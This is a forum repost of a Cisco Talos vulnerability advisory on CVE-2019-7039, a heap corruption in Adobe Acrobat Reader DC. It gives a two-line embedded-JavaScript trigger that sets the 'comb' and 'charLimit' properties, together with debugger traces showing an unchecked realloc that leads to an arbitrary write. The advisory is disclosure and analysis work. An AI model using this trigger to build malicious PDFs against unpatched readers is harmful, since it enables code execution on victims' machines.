Nytro Posted February 16, 2019 Report Share Posted February 16, 2019 Talos Vulnerability Report TALOS-2018-0714 Adobe Acrobat Reader DC text field "comb" property remote code execution vulnerability February 12, 2019 CVE Number CVE-2019-7039 Summary A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC, version 2019.8.20071. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page. Tested Versions Adobe Acrobat Reader DC 2019.8.20071 Product URLs https://get.adobe.com/reader/ CVSSv3 Score 8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CWE CWE-252: Unchecked Return Value Details Adobe Acrobat Reader is the most popular and feature-rich PDF reader on the market today. It has a large user base and is usually the default PDF reader on systems. The software integrates into web browsers as a plugin for rendering PDFs, as well. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow interactive PDF forms. This give the potential attacker the ability to precisely control memory layout and poses an additional attack surface. While executing the following piece of code, an arbitrary out-of-bounds memory access can occur: app.activeDocs[0].getField('txt1')['charLimit'] = 0xed000; app.activeDocs[0].getField('txt1')['comb'] = {}; While manipulating text fields in a PDF, when comb property is set to true, the rendered text field will be split into boxes, with each character of the text field placed into their own one. The number of boxes is controlled by the charLimit property. Above, we set the charLimit property to a large value, which ultimately leads to out-of-bounds memory access. Specifically, the out-of-bounds access happens at the following code: Breakpoint 5 hit eax=540f0ba0 ebx=0c229a98 ecx=001400d4 edx=00007532 esi=410d8ff0 edi=410d8fe0 eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 ds:002b:545f0ef0=c0c0c0c0 [0] 1:009> u AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 6b5c53f0 ff83e4010000 inc dword ptr [ebx+1E4h] [1] 6b5c53f6 8b4708 mov eax,dword ptr [edi+8] 6b5c53f9 8945f4 mov dword ptr [ebp-0Ch],eax 6b5c53fc 8b470c mov eax,dword ptr [edi+0Ch] 6b5c53ff 8945f8 mov dword ptr [ebp-8],eax 6b5c5402 8d45f4 lea eax,[ebp-0Ch] 6b5c5405 50 push eax 1:009> dd eax 540f0ba0 3aded289 418c0e56 3aded289 3f000000 540f0bb0 3b5ed289 418c0e56 3b5ed289 3f000000 540f0bc0 3ba71de7 418c0e56 3ba71de7 3f000000 540f0bd0 3bded289 418c0e56 3bded289 3f000000 540f0be0 3c0b4396 418c0e56 3c0b4396 3f000000 540f0bf0 3c28c155 418c0e56 3c28c155 3f000000 540f0c00 3c449ba6 418c0e56 3c449ba6 3f000000 540f0c10 3c6075f7 418c0e56 3c6075f7 3f000000 1:009> !heap -p -a eax [2] address 540f0ba0 found in _DPH_HEAP_ROOT @ e71000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 43870b94: 540f0ba0 500460 - 540f0000 502000 6d67abb0 verifier!VerifierDisableFaultInjectionExclusionRange+0x000034c0 6d67b07e verifier!VerifierDisableFaultInjectionExclusionRange+0x0000398e 772c34bc ntdll!RtlpNtSetValueKey+0x000041cc 7726e01a ntdll!RtlCaptureStackContext+0x0000f16a 77221453 ntdll!RtlReAllocateHeap+0x00000043 74bc1320 ucrtbase!realloc_base+0x00000030 6b5c579a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0015111e [3] 6b5b0328 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013bcac 6b5d9881 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00165205 6b5d9238 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164bbc 6b5d90b3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164a37 6b5d8ce3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164667 6b5d89d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0016435b 6b5d75ae AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162f32 6b5d704a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001629ce 6b60e0db AcroRd32!CTJPEGDecoderRelease+0x0002436b 6b5d6cc3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162647 6b5d63db AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00161d5f 6b6e78fc AcroRd32!CTJPEGDecoderRelease+0x000fdb8c 6b6e69e3 AcroRd32!CTJPEGDecoderRelease+0x000fcc73 6b4714d9 AcroRd32!DllCanUnloadNow+0x0001fcaf 6b470fa5 AcroRd32!DllCanUnloadNow+0x0001f77b 6b470d56 AcroRd32!DllCanUnloadNow+0x0001f52c 6b411267 AcroRd32!AcroWinMainSandbox+0x000077f1 7554be6b USER32!AddClipboardFormatListener+0x0000049b 7554833a USER32!DispatchMessageW+0x0000097a 75547bee USER32!DispatchMessageW+0x0000022e 755479d0 USER32!DispatchMessageW+0x00000010 6b46ffca AcroRd32!DllCanUnloadNow+0x0001e7a0 6b46fd92 AcroRd32!DllCanUnloadNow+0x0001e568 6b40a359 AcroRd32!AcroWinMainSandbox+0x000008e3 6b409c2d AcroRd32!AcroWinMainSandbox+0x000001b7 When the breakpoint is hit at [0] we can see that, we are writing to a buffer pointed to by eax indexed by ecx and then at [2], we see where the buffer is allocated and that its size is large enough. At [1], we also see that the index that ends up in ecx is increased. This code loops many times, bounded by the charLimit property set before. Eventually, the index will be increased enough that the buffer isn't big enough, at which point a different path will be taken, which leads to a call to realloc, at the same location we see at [3] above. This is the code that follows: .text:601E577F lea eax, [ecx+1388h] .text:601E5785 mov [ebx+1D8h], eax .text:601E578B shl eax, 3 .text:601E578E push eax .text:601E578F push dword ptr [ebx+1DCh] .text:601E5795 call indirect_realloc .text:601E579A mov [ebx+1DCh], eax [4] At [4], the pointer returned by realloc is saved in ebx+1dc, which is where the pointer to the buffer used at [0] is stored. Notice that there is no check on the return value of this realloc call. Since this call is increasing the size of the buffer, which is ultimately controlled by the charLimit value, the call to malloc can fail. Unchecked NULL value will be written to buffer pointer and the code loops around to [0]. Usually this would cause just a NULL pointer dereference, but since index in the ecx is growing larger, and is multiplied by 4, we can control the offset of the NULL dereference which results in an arbitrary write. And indeed, if we remove the breakpoints, this results in the following crash: (21d4.157c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=0c229a98 ecx=003ae9fc edx=00007532 esi=410d8ff0 edi=410d8fe0 eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 ds:002b:00eba7f0=???????? 1:009> dd ecx*4 00eba7f0 ???????? ???????? ???????? ???????? 00eba800 ???????? ???????? ???????? ???????? 00eba810 ???????? ???????? ???????? ???????? 00eba820 ???????? ???????? ???????? ???????? 00eba830 ???????? ???????? ???????? ???????? 00eba840 ???????? ???????? ???????? ???????? 00eba850 ???????? ???????? ???????? ???????? 00eba860 ???????? ???????? ???????? ???????? Notice in the above debugging output that eax is NULL, but ecx is large enough to reach userland memory. The above crash is exhibited by the proof of concept with page heap enabled. With further memory control, a more precisely chosen buffer size for which the realloc fails could be chosen, thus enabling control of the write. This could possibly result in further memory corruption and arbitrary code execution. Timeline 2018-11-20 - Vendor Disclosure 2019-02-12 - Public Release Credit Discovered by Aleksandar Nikolic of Cisco Talos. Sursa: https://www.talosintelligence.com/reports/TALOS-2018-0714 Quote Link to comment Share on other sites More sharing options...